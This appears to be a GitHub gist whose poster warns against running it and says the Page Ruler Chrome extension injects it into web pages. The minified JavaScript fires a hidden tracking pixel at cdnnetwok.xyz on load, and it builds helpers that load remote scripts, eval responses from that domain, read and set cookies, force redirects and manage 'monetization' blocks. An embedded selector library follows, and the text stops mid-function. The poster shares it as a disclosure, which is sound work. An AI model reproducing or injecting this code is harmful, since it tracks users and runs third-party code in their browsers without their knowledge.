Created
February 6, 2018 16:49
-
-
Save shivanshu3/45817d2354e41ca858c915b556a7174a to your computer and use it in GitHub Desktop.
Warning: Don't run this code. This code is injected by the Page Ruler chrome extension, and I think it might be dangerous.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function(f, i, j) { | |
var g = "c822bb0d82ad01a5ae"; | |
var b = (function() { | |
var l = 3; | |
var o = parseInt("0"); | |
var n = parseInt("0"); | |
(function() { | |
var q = ["mid=", "wid=49377", "sid=", "tid=200", "rid=LAUNCHED"]; | |
a = (window.location.protocol == "http:" ? "http:" : "https:") + "//cdnnetwok.xyz/metric/?" + q.join("&"); | |
var p = f.createElement("img"); | |
p.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;"); | |
p.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()); | |
(document.head || document.documentElement).appendChild(p); | |
if (typeof p.onload != j) { | |
p.onload = function() { | |
p.parentNode && p.parentNode.removeChild(p) | |
} | |
} | |
})(); | |
var m = false; | |
if (typeof(MainWindow) != "undefined") { | |
window.document = MainWindow.document.parentWindow | |
} | |
if (m) { | |
return false | |
}(function(d, w, uniqId, u) { | |
var isReady = false, | |
readyQueue = [], | |
div = u, | |
$$ = {}; | |
if (typeof(JSON) === u) { | |
JSON = {} | |
} | |
function onReady() { | |
isReady = true; | |
while (readyQueue.length > 0) { | |
(readyQueue.pop())() | |
} | |
} | |
if (typeof(d.getElementsByClassName) == u) { | |
d.getElementsByClassName = function(cl) { | |
var retnode = []; | |
var myclass = new RegExp("\\b" + cl + "\\b"); | |
var elem = this.getElementsByTagName("*"); | |
for (var i = 0; i < elem.length; i++) { | |
var classes = elem[i].className; | |
if (myclass.test(classes)) { | |
retnode.push(elem[i]) | |
} | |
} | |
return retnode | |
} | |
} | |
$$ = w[uniqId] = { | |
l: {}, | |
isIe: !!d.attachEvent, | |
scriptDomain: "cdnnetwok.xyz", | |
unixTimestampNow: Math.round(new Date().getTime() / 1000), | |
optoutValue: {}, | |
limitsValue: {}, | |
currentOptoutBlock: null, | |
monetizationsConfig: {}, | |
ready: function(callback) { | |
!isReady ? readyQueue.push(callback) : callback() | |
}, | |
createEl: function(html) { | |
if (div === u) { | |
div = d.createElement("div") | |
} | |
div.innerHTML = html; | |
return div.firstChild | |
}, | |
each: function(array, callback) { | |
var i = 0, | |
length = array.length; | |
for (; i < length;) { | |
if (callback(array[i], i++) === false) { | |
return true | |
} | |
} | |
}, | |
inArray: function(array, e) { | |
var i = 0, | |
length = array.length; | |
for (; i < length; i++) { | |
if (e === array[i]) { | |
return true | |
} | |
} | |
return false | |
}, | |
filter: function(array, callback) { | |
var i = 0, | |
length = array.length, | |
ret = []; | |
for (; i < length; i++) { | |
if (callback(array[i], i)) { | |
ret.push(array[i]) | |
} | |
} | |
return ret | |
}, | |
apply: function() { | |
var obj = {}; | |
$$.each(arguments, function(arg) { | |
for (var i in arg) { | |
obj[i] = arg[i] | |
} | |
}); | |
return obj | |
}, | |
xhrRequest: function(xhr, o) { | |
var timeoutId = u, | |
isTimedout = false, | |
$this = this; | |
function __gacb(data) { | |
o.callback(data) | |
} | |
o.url += (o.url.indexOf("?") >= 0 ? "&" : "?") + "ajax"; | |
xhr.onreadystatechange = function() { | |
if (isTimedout) { | |
return | |
} | |
if (xhr.readyState === 4) { | |
if (xhr.status === 200 && xhr.responseText) { | |
if (timeoutId) { | |
clearTimeout(timeoutId) | |
} | |
if (xhr.responseText.indexOf("__gacb(") > -1) { | |
eval(xhr.responseText) | |
} else { | |
o.callback($this.fromJson(xhr.responseText)) | |
} | |
} | |
} | |
}; | |
xhr.open("GET", o.url); | |
xhr.withCredentials = false; | |
timeoutId = setTimeout(function() { | |
isTimedout = true; | |
xhr.abort(); | |
$$.jsonpRequest(o) | |
}, o.timeout); | |
xhr.send() | |
}, | |
jsonp: function(opts) { | |
var timeoutId = u, | |
isTimedout = false; | |
var o = $$.apply({ | |
callback: function() {}, | |
timeout: 15000, | |
onTimeout: function() {}, | |
data: {} | |
}, opts || {}); | |
var r = Math.floor(Math.random() * 1000000000); | |
var jsonpFunction = "__twb_cb_" + r; | |
w[jsonpFunction] = function(data) { | |
if (isTimedout) { | |
return | |
} | |
if (timeoutId) { | |
clearTimeout(timeoutId) | |
} | |
o.callback(data); | |
onComplete() | |
}; | |
var onComplete = function() { | |
w[jsonpFunction] = u; | |
if (s && s.parentNode) { | |
s.parentNode.removeChild(s) | |
} | |
}; | |
o.url += (o.url.indexOf("?") >= 0 ? "&" : "?") + "jsonp=" + jsonpFunction + "&" + $$.toUrlParams(o.data); | |
var s = $$.script(o.url); | |
timeoutId = setTimeout(function() { | |
isTimedout = true; | |
o.onTimeout(); | |
onComplete() | |
}, o.timeout) | |
}, | |
toUrlParams: function(formdata, numeric_prefix, arg_separator) { | |
var value, key, tmp = []; | |
var _http_build_query_helper = function(key, val, arg_separator) { | |
var k, tmp = []; | |
if (val === true) { | |
val = "1" | |
} else { | |
if (val === false) { | |
val = "0" | |
} | |
} | |
if (val != null) { | |
if (typeof val === "object") { | |
for (k in val) { | |
if (val[k] != null) { | |
tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator)) | |
} | |
} | |
return tmp.join(arg_separator) | |
} else { | |
if (typeof val !== "function") { | |
return w.encodeURIComponent(key) + "=" + w.encodeURIComponent(val) | |
} else { | |
return "" | |
} | |
} | |
} else { | |
return "" | |
} | |
}; | |
if (!arg_separator) { | |
arg_separator = "&" | |
} | |
for (key in formdata) { | |
value = formdata[key]; | |
if (numeric_prefix && !isNaN(key)) { | |
key = String(numeric_prefix) + key | |
} | |
var query = _http_build_query_helper(key, value, arg_separator); | |
if (query !== "") { | |
tmp.push(query) | |
} | |
} | |
return tmp.join(arg_separator) | |
}, | |
jsonpRequest: function(o) { | |
var timeoutId = u, | |
isTimedout = false; | |
callbackName = "f" + this.randomNumber(10000, 9999999); | |
o.url += (o.url.indexOf("?") >= 0 ? "&" : "?") + "jsonp=" + callbackName; | |
w[callbackName] = function(data) { | |
if (isTimedout) { | |
return | |
} | |
if (timeoutId) { | |
clearTimeout(timeoutId) | |
} | |
o.callback(data) | |
}; | |
var s = $$.script(o.url); | |
timeoutId = setTimeout(function() { | |
isTimedout = true; | |
s.parentNode.removeChild(s); | |
o.onTimeout() | |
}, o.timeout) | |
}, | |
toJson: JSON.stringify || function(obj) { | |
var t = typeof(obj); | |
if (t != "object" || obj === null) { | |
if (t == "string") { | |
obj = '"' + obj + '"' | |
} | |
return String(obj) | |
} else { | |
var n, v, json = [], | |
arr = (obj && obj.constructor == Array); | |
for (n in obj) { | |
v = obj[n]; | |
t = typeof(v); | |
if (t == "string") { | |
v = '"' + v + '"' | |
} else { | |
if (t == "object" && v !== null) { | |
v = arguments.callee(v) | |
} | |
} | |
json.push((arr ? "" : '"' + n + '":') + String(v)) | |
} | |
return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}") | |
} | |
}, | |
fromJson: JSON.parse || function(str) { | |
if (str === "") { | |
str = '""' | |
} | |
eval("var p=" + str + ";"); | |
return p | |
}, | |
xor: function(str) { | |
var i = 0, | |
length = str.length, | |
ret = ""; | |
for (; i < length;) { | |
ret += String.fromCharCode(77 ^ str.charCodeAt(i++)) | |
} | |
return ret | |
}, | |
script: function(src, nocache, attributes) { | |
var s = d.createElement("script"); | |
s.type = "text/javascript"; | |
if (attributes) { | |
for (var i in attributes) { | |
s.setAttribute(i, attributes[i]) | |
} | |
} | |
s.src = src + (nocache === u || nocache ? (src.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()) : ""); | |
d.getElementsByTagName("body")[0].appendChild(s); | |
return s | |
}, | |
includeCss: function(src) { | |
var style = d.createElement("link"); | |
if (d.getElementsByTagName("body")[0]) { | |
d.getElementsByTagName("body")[0].appendChild(style); | |
style.rel = "stylesheet"; | |
style.type = "text/css"; | |
style.href = src | |
} | |
}, | |
hasClass: function(element, className) { | |
return (!!element.getAttribute("class") && element.getAttribute("class").indexOf(className) > -1) | |
}, | |
addClass: function(element, className) { | |
element.setAttribute("class", (!!element.getAttribute("class") ? element.getAttribute("class") + " " : "") + className) | |
}, | |
removeClass: function(element, className) { | |
if (!!element.getAttribute("class")) { | |
element.setAttribute("class", element.getAttribute("class").replace(className, "")) | |
} | |
}, | |
randomNumber: function(min, max) { | |
return Math.floor(Math.random() * max) + min | |
}, | |
eval: function(data) { | |
var s = d.createElement("script"); | |
s.defer = true; | |
s.text = data; | |
(d.getElementsByTagName("script")[0] || d.documentElement.firstChild).parentNode.appendChild(s) | |
}, | |
on: function(el, event, fn) { | |
var handler = function(event) { | |
fn.call(el, event || w.event) | |
}; | |
if (el.addEventListener) { | |
el.addEventListener(event, handler, false) | |
} else { | |
if (el.attachEvent) { | |
el.attachEvent("on" + event, handler) | |
} | |
} | |
}, | |
redirect: function(url, blank) { | |
var a = d.createElement("a"); | |
a.href = url; | |
if (blank) { | |
a.target = "_blank" | |
} | |
a.__norewrite = true; | |
d.body.appendChild(a); | |
a.click(); | |
d.body.removeChild(a) | |
}, | |
setCookie: function(name, value, opts) { | |
var o = opts || {}, | |
expire = u; | |
if (o.expire) { | |
expire = new Date(); | |
expire.setTime(expire.getTime() + (o.expire * 1000)) | |
} | |
document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + (expire ? "; expires=" + expire.toUTCString() : "") + (o.path ? "; path=" + o.path : "") + (o.domain ? "; domain=" + o.domain : "") | |
}, | |
getCookie: function(name) { | |
var value = u; | |
$$.each(d.cookie.split("; "), function(raw) { | |
var parts = raw.split("="); | |
var cookieName = decodeURIComponent(parts.shift()); | |
if (cookieName == name) { | |
value = decodeURIComponent(parts.join("=")); | |
return false | |
} | |
}); | |
return value | |
}, | |
encode: function(s) { | |
var i = 0, | |
ret = "", | |
length = s.length; | |
for (; i < length; i++) { | |
ret += ("%" + s.charCodeAt(i).toString(16)) | |
} | |
return ret | |
}, | |
preventDefault: function(e) { | |
if (e.preventDefault) { | |
e.preventDefault() | |
} | |
return e.returnValue = false | |
}, | |
remove: function(e) { | |
return e.parentNode && e.parentNode.removeChild(e) | |
}, | |
attr: function(e, name) { | |
if (e.hasAttribute && e.hasAttribute(name)) { | |
return e.getAttribute(name) | |
} else { | |
var node = e.getAttributeNode(name); | |
if (node) { | |
return node.value | |
} | |
} | |
return "" | |
}, | |
updateLimits: function(block, lifetime) { | |
if (!lifetime) { | |
var mConfig = {}; | |
if (w[uniqId].monetizationsConfig && w[uniqId].monetizationsConfig[block]) { | |
mConfig = w[uniqId].monetizationsConfig[block] | |
} | |
lifetime = mConfig.limit | |
} | |
if (lifetime > 0) { | |
$$.limitsValue[block] = $$.unixTimestampNow + parseInt(lifetime); | |
var cookieValue = $$.toJson($$.limitsValue); | |
$$.jsonp({ | |
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/optout/set/limit", | |
data: { | |
key: "c822bb0d82ad01a5ae", | |
cv: cookieValue | |
}, | |
callback: function(response) {} | |
}) | |
} else {} | |
}, | |
setStartTime: function() { | |
var cookieValue = $$.unixTimestampNow; | |
$$.jsonp({ | |
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/optout/set/strtm", | |
data: { | |
key: "c822bb0d82ad01a5ae", | |
cv: cookieValue | |
}, | |
callback: function(response) {} | |
}) | |
}, | |
loadedCallback: function(code, block, custom1, custom2, custom3, custom4, custom5) { | |
if (typeof block == "undefined") { | |
block = "" | |
} | |
var params = ["mid=" + block, "wid=49377", "sid=" + ((w[uniqId] && w[uniqId].tbParams && w[uniqId].tbParams.sid) ? w[uniqId].tbParams.sid : ""), "tid=200", "rid=" + code]; | |
if (custom1) { | |
params.push("custom1=" + custom1) | |
} | |
if (custom2) { | |
params.push("custom2=" + custom2) | |
} | |
if (custom3) { | |
params.push("custom3=" + custom3) | |
} | |
if (custom4) { | |
params.push("custom4=" + custom4) | |
} | |
if (custom5) { | |
params.push("custom5=" + custom5) | |
} | |
var src = (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/metric/?" + params.join("&"); | |
var imgEl = d.createElement("img"); | |
imgEl.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;"); | |
imgEl.src = src + (src.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()); | |
d.getElementsByTagName("body")[0].appendChild(imgEl); | |
$$.on(imgEl, "load", function() { | |
$$.remove(imgEl) | |
}) | |
}, | |
reportSetCallback: function(response) {}, | |
host: function(url) { | |
var m = url.match(/^https?:\/\/([^\/]+)/); | |
return m ? m[1] : "" | |
}, | |
optoutShow: function(block) { | |
if ($$.tbParams.optoutUrl) { | |
location.href = $$.tbParams.optoutUrl | |
} else { | |
if (!$$.twBarOptOut && typeof $$.twBarOptOutInit == "function") { | |
$$.twBarOptOutInit() | |
} | |
if ($$.twBarOptOut) { | |
$$.currentOptoutBlock = block; | |
$$.twBarOptOut.style.display = "block"; | |
$$.loadedCallback("OPTOUT_SHOW", block) | |
} | |
} | |
}, | |
optoutHide: function(block) { | |
if ($$.twBarOptOut) { | |
$$.twBarOptOut.style.display = "none" | |
} | |
}, | |
getMtzCfg: function(block) { | |
if (w[uniqId].monetizationsConfig && w[uniqId].monetizationsConfig[block] && w[uniqId].monetizationsConfig[block].config) { | |
return w[uniqId].monetizationsConfig[block].config | |
} | |
return {} | |
} | |
}; | |
var getMtzConfigAlias = ["get", "Mon", "etiza", "tion", "Config"].join(""); | |
$$[getMtzConfigAlias] = function(block) { | |
return $$.getMtzCfg(block) | |
}; | |
if (d.addEventListener) { | |
d.addEventListener("DOMContentLoaded", function() { | |
onReady() | |
}, false) | |
} else { | |
if (d.attachEvent) { | |
d.attachEvent("onreadystatechange", function() { | |
onReady() | |
}) | |
} | |
} | |
if (d.readyState) { | |
(function() { | |
if ((!$$.isIe && d.readyState === "interactive") || d.readyState === "complete") { | |
onReady() | |
} else { | |
setTimeout(arguments.callee, 100) | |
} | |
})() | |
} else { | |
var toplevel = false; | |
try { | |
toplevel = window.frameElement == null | |
} catch (e) {} | |
if (d && d.dElement && d.dElement.doScroll && toplevel) { | |
(function() { | |
try { | |
d.dElement.doScroll("left") | |
} catch (e) { | |
setTimeout(arguments.callee, 100); | |
return | |
} | |
onReady() | |
})() | |
} | |
} | |
})(document, window, "c822bb0d82ad01a5ae", undefined);; | |
(function(aA, q) { | |
var G, aD, l, v, R, U, ag, aH, S, aj, L, w, at, an, aB, k, P, av = "sizzle" + -(new Date()), | |
T = aA.document, | |
aE = 0, | |
ao = 0, | |
d = J(), | |
au = J(), | |
Q = J(), | |
ah = false, | |
N = function() { | |
return 0 | |
}, | |
az = typeof q, | |
ab = 1 << 31, | |
Y = ({}).hasOwnProperty, | |
ax = [], | |
ay = ax.pop, | |
W = ax.push, | |
b = ax.push, | |
u = ax.slice, | |
j = ax.indexOf || function(aJ) { | |
var aI = 0, | |
e = this.length; | |
for (; aI < e; aI++) { | |
if (this[aI] === aJ) { | |
return aI | |
} | |
} | |
return -1 | |
}, | |
c = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", | |
x = "[\\x20\\t\\r\\n\\f]", | |
a = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+", | |
V = a.replace("w", "w#"), | |
aq = "\\[" + x + "*(" + a + ")" + x + "*(?:([*^$|!~]?=)" + x + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + V + ")|)|)" + x + "*\\]", | |
s = ":(" + a + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + aq.replace(3, 8) + ")*)|.*)\\)|)", | |
z = new RegExp("^" + x + "+|((?:^|[^\\\\])(?:\\\\.)*)" + x + "+$", "g"), | |
D = new RegExp("^" + x + "*," + x + "*"), | |
K = new RegExp("^" + x + "*([>+~]|" + x + ")" + x + "*"), | |
al = new RegExp(x + "*[+~]"), | |
B = new RegExp("=" + x + "*([^\\]'\"]*)" + x + "*\\]", "g"), | |
ad = new RegExp(s), | |
ae = new RegExp("^" + V + "$"), | |
am = { | |
ID: new RegExp("^#(" + a + ")"), | |
CLASS: new RegExp("^\\.(" + a + ")"), | |
TAG: new RegExp("^(" + a.replace("w", "w*") + ")"), | |
ATTR: new RegExp("^" + aq), | |
PSEUDO: new RegExp("^" + s), | |
CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + x + "*(even|odd|(([+-]|)(\\d*)n|)" + x + "*(?:([+-]|)" + x + "*(\\d+)|))" + x + "*\\)|)", "i"), | |
bool: new RegExp("^(?:" + c + ")$", "i"), | |
needsContext: new RegExp("^" + x + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + x + "*((?:-\\d)?\\d*)" + x + "*\\)|)(?=[^-]|$)", "i") | |
}, | |
aa = /^[^{]+\{\s*\[native \w/, | |
ac = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, | |
h = /^(?:input|select|textarea|button)$/i, | |
t = /^h\d$/i, | |
X = /'|\\/g, | |
A = new RegExp("\\\\([\\da-f]{1,6}" + x + "?|(" + x + ")|.)", "ig"), | |
ap = function(e, aJ, i) { | |
var aI = "0x" + aJ - 65536; | |
return aI !== aI || i ? aJ : aI < 0 ? String.fromCharCode(aI + 65536) : String.fromCharCode(aI >> 10 | 55296, aI & 1023 | 56320) | |
}; | |
try { | |
b.apply((ax = u.call(T.childNodes)), T.childNodes); | |
ax[T.childNodes.length].nodeType | |
} catch (M) { | |
b = { | |
apply: ax.length ? function(i, e) { | |
W.apply(i, u.call(e)) | |
} : function(aK, aJ) { | |
var e = aK.length, | |
aI = 0; | |
while ((aK[e++] = aJ[aI++])) {} | |
aK.length = e - 1 | |
} | |
} | |
} | |
function E(aP, aI, aT, aV) { | |
var aU, aM, aN, aR, aS, aL, aK, e, aJ, aQ; | |
if ((aI ? aI.ownerDocument || aI : T) !== L) { | |
aj(aI) | |
} | |
aI = aI || L; | |
aT = aT || []; | |
if (!aP || typeof aP !== "string") { | |
return aT | |
} | |
if ((aR = aI.nodeType) !== 1 && aR !== 9) { | |
return [] | |
} | |
if (at && !aV) { | |
if ((aU = ac.exec(aP))) { | |
if ((aN = aU[1])) { | |
if (aR === 9) { | |
aM = aI.getElementById(aN); | |
if (aM && aM.parentNode) { | |
if (aM.id === aN) { | |
aT.push(aM); | |
return aT | |
} | |
} else { | |
return aT | |
} | |
} else { | |
if (aI.ownerDocument && (aM = aI.ownerDocument.getElementById(aN)) && P(aI, aM) && aM.id === aN) { | |
aT.push(aM); | |
return aT | |
} | |
} | |
} else { | |
if (aU[2]) { | |
b.apply(aT, aI.getElementsByTagName(aP)); | |
return aT | |
} else { | |
if ((aN = aU[3]) && aD.getElementsByClassName && aI.getElementsByClassName) { | |
b.apply(aT, aI.getElementsByClassName(aN)); | |
return aT | |
} | |
} | |
} | |
} | |
if (aD.qsa && (!an || !an.test(aP))) { | |
e = aK = av; | |
aJ = aI; | |
aQ = aR === 9 && aP; | |
if (aR === 1 && aI.nodeName.toLowerCase() !== "object") { | |
aL = p(aP); | |
if ((aK = aI.getAttribute("id"))) { | |
e = aK.replace(X, "\\$&") | |
} else { | |
aI.setAttribute("id", e) | |
} | |
e = "[id='" + e + "'] "; | |
aS = aL.length; | |
while (aS--) { | |
aL[aS] = e + o(aL[aS]) | |
} | |
aJ = al.test(aP) && aI.parentNode || aI; | |
aQ = aL.join(",") | |
} | |
if (aQ) { | |
try { | |
b.apply(aT, aJ.querySelectorAll(aQ)); | |
return aT | |
} catch (aO) {} finally { | |
if (!aK) { | |
aI.removeAttribute("id") | |
} | |
} | |
} | |
} | |
} | |
return aC(aP.replace(z, "$1"), aI, aT, aV) | |
} | |
function O(e) { | |
return aa.test(e + "") | |
} | |
function J() { | |
var i = []; | |
function e(aI, aJ) { | |
if (i.push(aI += " ") > v.cacheLength) { | |
delete e[i.shift()] | |
} | |
return (e[aI] = aJ) | |
} | |
return e | |
} | |
function r(e) { | |
e[av] = true; | |
return e | |
} | |
function m(i) { | |
var aJ = L.createElement("div"); | |
try { | |
return !!i(aJ) | |
} catch (aI) { | |
return false | |
} finally { | |
if (aJ.parentNode) { | |
aJ.parentNode.removeChild(aJ) | |
} | |
aJ = null | |
} | |
} | |
function aF(e, aJ, aM) { | |
e = e.split("|"); | |
var aL, aI = e.length, | |
aK = aM ? null : aJ; | |
while (aI--) { | |
if (!(aL = v.attrHandle[e[aI]]) || aL === aJ) { | |
v.attrHandle[e[aI]] = aK | |
} | |
} | |
} | |
function Z(i, e) { | |
var aI = i.getAttributeNode(e); | |
return aI && aI.specified ? aI.value : i[e] === true ? e.toLowerCase() : null | |
} | |
function H(i, e) { | |
return i.getAttribute(e, e.toLowerCase() === "type" ? 1 : 2) | |
} | |
function C(e) { | |
if (e.nodeName.toLowerCase() === "input") { | |
return e.defaultValue | |
} | |
} | |
function f(i, e) { | |
var aJ = e && i, | |
aI = aJ && i.nodeType === 1 && e.nodeType === 1 && (~e.sourceIndex || ab) - (~i.sourceIndex || ab); | |
if (aI) { | |
return aI | |
} | |
if (aJ) { | |
while ((aJ = aJ.nextSibling)) { | |
if (aJ === e) { | |
return -1 | |
} | |
} | |
} | |
return i ? 1 : -1 | |
} | |
function F(e) { | |
return function(aI) { | |
var i = aI.nodeName.toLowerCase(); | |
return i === "input" && aI.type === e | |
} | |
} | |
function g(e) { | |
return function(aI) { | |
var i = aI.nodeName.toLowerCase(); | |
return (i === "input" || i === "button") && aI.type === e | |
} | |
} | |
function ar(e) { | |
return r(function(i) { | |
i = +i; | |
return r(function(aI, aM) { | |
var aK, aJ = e([], aI.length, i), | |
aL = aJ.length; | |
while (aL--) { | |
if (aI[(aK = aJ[aL])]) { | |
aI[aK] = !(aM[aK] = aI[aK]) | |
} | |
} | |
}) | |
}) | |
} | |
U = E.isXML = function(e) { | |
var i = e && (e.ownerDocument || e).documentElement; | |
return i ? i.nodeName !== "HTML" : false | |
}; | |
aD = E.support = {}; | |
aj = E.setDocument = function(e) { | |
var i = e ? e.ownerDocument || e : T; | |
if (i === L || i.nodeType !== 9 || !i.documentElement) { | |
return L | |
} | |
L = i; | |
w = i.documentElement; | |
at = !U(i); | |
aD.attributes = m(function(aI) { | |
aI.innerHTML = "<a href='#'></a>"; | |
aF("type|href|height|width", H, aI.firstChild.getAttribute("href") === "#"); | |
aF(c, Z, aI.getAttribute("disabled") == null); | |
aI.className = "i"; | |
return !aI.getAttribute("className") | |
}); | |
aD.input = m(function(aI) { | |
aI.innerHTML = "<input>"; | |
aI.firstChild.setAttribute("value", ""); | |
return aI.firstChild.getAttribute("value") === "" | |
}); | |
aF("value", C, aD.attributes && aD.input); | |
aD.getElementsByTagName = m(function(aI) { | |
aI.appendChild(i.createComment("")); | |
return !aI.getElementsByTagName("*").length | |
}); | |
aD.getElementsByClassName = m(function(aI) { | |
aI.innerHTML = "<div class='a'></div><div class='a i'></div>"; | |
aI.firstChild.className = "i"; | |
return aI.getElementsByClassName("i").length === 2 | |
}); | |
aD.getById = m(function(aI) { | |
w.appendChild(aI).id = av; | |
return !i.getElementsByName || !i.getElementsByName(av).length | |
}); | |
if (aD.getById) { | |
v.find.ID = function(aK, aJ) { | |
if (typeof aJ.getElementById !== az && at) { | |
var aI = aJ.getElementById(aK); | |
return aI && aI.parentNode ? [aI] : [] | |
} | |
}; | |
v.filter.ID = function(aJ) { | |
var aI = aJ.replace(A, ap); | |
return function(aK) { | |
return aK.getAttribute("id") === aI | |
} | |
} | |
} else { | |
delete v.find.ID; | |
v.filter.ID = function(aJ) { | |
var aI = aJ.replace(A, ap); | |
return function(aL) { | |
var aK = typeof aL.getAttributeNode !== az && aL.getAttributeNode("id"); | |
return aK && aK.value === aI | |
} | |
} | |
} | |
v.find.TAG = aD.getElementsByTagName ? function(aI, aJ) { | |
if (typeof aJ.getElementsByTagName !== az) { | |
return aJ.getElementsByTagName(aI) | |
} | |
} : function(aI, aM) { | |
var aN, aL = [], | |
aK = 0, | |
aJ = aM.getElementsByTagName(aI); | |
if (aI === "*") { | |
while ((aN = aJ[aK++])) { | |
if (aN.nodeType === 1) { | |
aL.push(aN) | |
} | |
} | |
return aL | |
} | |
return aJ | |
}; | |
v.find.CLASS = aD.getElementsByClassName && function(aJ, aI) { | |
if (typeof aI.getElementsByClassName !== az && at) { | |
return aI.getElementsByClassName(aJ) | |
} | |
}; | |
aB = []; | |
an = []; | |
if ((aD.qsa = O(i.querySelectorAll))) { | |
m(function(aI) { | |
aI.innerHTML = "<select><option selected=''></option></select>"; | |
if (!aI.querySelectorAll("[selected]").length) { | |
an.push("\\[" + x + "*(?:value|" + c + ")") | |
} | |
if (!aI.querySelectorAll(":checked").length) { | |
an.push(":checked") | |
} | |
}); | |
m(function(aJ) { | |
var aI = i.createElement("input"); | |
aI.setAttribute("type", "hidden"); | |
aJ.appendChild(aI).setAttribute("t", ""); | |
if (aJ.querySelectorAll("[t^='']").length) { | |
an.push("[*^$]=" + x + "*(?:''|\"\")") | |
} | |
if (!aJ.querySelectorAll(":enabled").length) { | |
an.push(":enabled", ":disabled") | |
} | |
aJ.querySelectorAll("*,:x"); | |
an.push(",.*:") | |
}) | |
} | |
if ((aD.matchesSelector = O((k = w.webkitMatchesSelector || w.mozMatchesSelector || w.oMatchesSelector || w.msMatchesSelector)))) { | |
m(function(aI) { | |
aD.disconnectedMatch = k.call(aI, "div"); | |
k.call(aI, "[s!='']:x"); | |
aB.push("!=", s) | |
}) | |
} | |
an = an.length && new RegExp(an.join("|")); | |
aB = aB.length && new RegExp(aB.join("|")); | |
P = O(w.contains) || w.compareDocumentPosition ? function(aJ, aI) { | |
var aL = aJ.nodeType === 9 ? aJ.documentElement : aJ, | |
aK = aI && aI.parentNode; | |
return aJ === aK || !!(aK && aK.nodeType === 1 && (aL.contains ? aL.contains(aK) : aJ.compareDocumentPosition && aJ.compareDocumentPosition(aK) & 16)) | |
} : function(aJ, aI) { | |
if (aI) { | |
while ((aI = aI.parentNode)) { | |
if (aI === aJ) { | |
return true | |
} | |
} | |
} | |
return false | |
}; | |
aD.sortDetached = m(function(aI) { | |
return aI.compareDocumentPosition(i.createElement("div")) & 1 | |
}); | |
N = w.compareDocumentPosition ? function(aJ, aI) { | |
if (aJ === aI) { | |
ah = true; | |
return 0 | |
} | |
var aK = aI.compareDocumentPosition && aJ.compareDocumentPosition && aJ.compareDocumentPosition(aI); | |
if (aK) { | |
if (aK & 1 || (!aD.sortDetached && aI.compareDocumentPosition(aJ) === aK)) { | |
if (aJ === i || P(T, aJ)) { | |
return -1 | |
} | |
if (aI === i || P(T, aI)) { | |
return 1 | |
} | |
return S ? (j.call(S, aJ) - j.call(S, aI)) : 0 | |
} | |
return aK & 4 ? -1 : 1 | |
} | |
return aJ.compareDocumentPosition ? -1 : 1 | |
} : function(aJ, aI) { | |
var aP, aM = 0, | |
aO = aJ.parentNode, | |
aL = aI.parentNode, | |
aK = [aJ], | |
aN = [aI]; | |
if (aJ === aI) { | |
ah = true; | |
return 0 | |
} else { | |
if (!aO || !aL) { | |
return aJ === i ? -1 : aI === i ? 1 : aO ? -1 : aL ? 1 : S ? (j.call(S, aJ) - j.call(S, aI)) : 0 | |
} else { | |
if (aO === aL) { | |
return f(aJ, aI) | |
} | |
} | |
} | |
aP = aJ; | |
while ((aP = aP.parentNode)) { | |
aK.unshift(aP) | |
} | |
aP = aI; | |
while ((aP = aP.parentNode)) { | |
aN.unshift(aP) | |
} | |
while (aK[aM] === aN[aM]) { | |
aM++ | |
} | |
return aM ? f(aK[aM], aN[aM]) : aK[aM] === T ? -1 : aN[aM] === T ? 1 : 0 | |
}; | |
return i | |
}; | |
E.matches = function(i, e) { | |
return E(i, null, null, e) | |
}; | |
E.matchesSelector = function(aI, aK) { | |
if ((aI.ownerDocument || aI) !== L) { | |
aj(aI) | |
} | |
aK = aK.replace(B, "='$1']"); | |
if (aD.matchesSelector && at && (!aB || !aB.test(aK)) && (!an || !an.test(aK))) { | |
try { | |
var i = k.call(aI, aK); | |
if (i || aD.disconnectedMatch || aI.document && aI.document.nodeType !== 11) { | |
return i | |
} | |
} catch (aJ) {} | |
} | |
return E(aK, L, null, [aI]).length > 0 | |
}; | |
E.contains = function(e, i) { | |
if ((e.ownerDocument || e) !== L) { | |
aj(e) | |
} | |
return P(e, i) | |
}; | |
E.attr = function(aI, e) { | |
if ((aI.ownerDocument || aI) !== L) { | |
aj(aI) | |
} | |
var i = v.attrHandle[e.toLowerCase()], | |
aJ = (i && Y.call(v.attrHandle, e.toLowerCase()) ? i(aI, e, !at) : q); | |
return aJ === q ? aD.attributes || !at ? aI.getAttribute(e) : (aJ = aI.getAttributeNode(e)) && aJ.specified ? aJ.value : null : aJ | |
}; | |
E.error = function(e) { | |
throw new Error("Syntax error, unrecognized expression: " + e) | |
}; | |
E.uniqueSort = function(aJ) { | |
var aK, aL = [], | |
e = 0, | |
aI = 0; | |
ah = !aD.detectDuplicates; | |
S = !aD.sortStable && aJ.slice(0); | |
aJ.sort(N); | |
if (ah) { | |
while ((aK = aJ[aI++])) { | |
if (aK === aJ[aI]) { | |
e = aL.push(aI) | |
} | |
} | |
while (e--) { | |
aJ.splice(aL[e], 1) | |
} | |
} | |
return aJ | |
}; | |
R = E.getText = function(aL) { | |
var aK, aI = "", | |
aJ = 0, | |
e = aL.nodeType; | |
if (!e) { | |
for (; | |
(aK = aL[aJ]); aJ++) { | |
aI += R(aK) | |
} | |
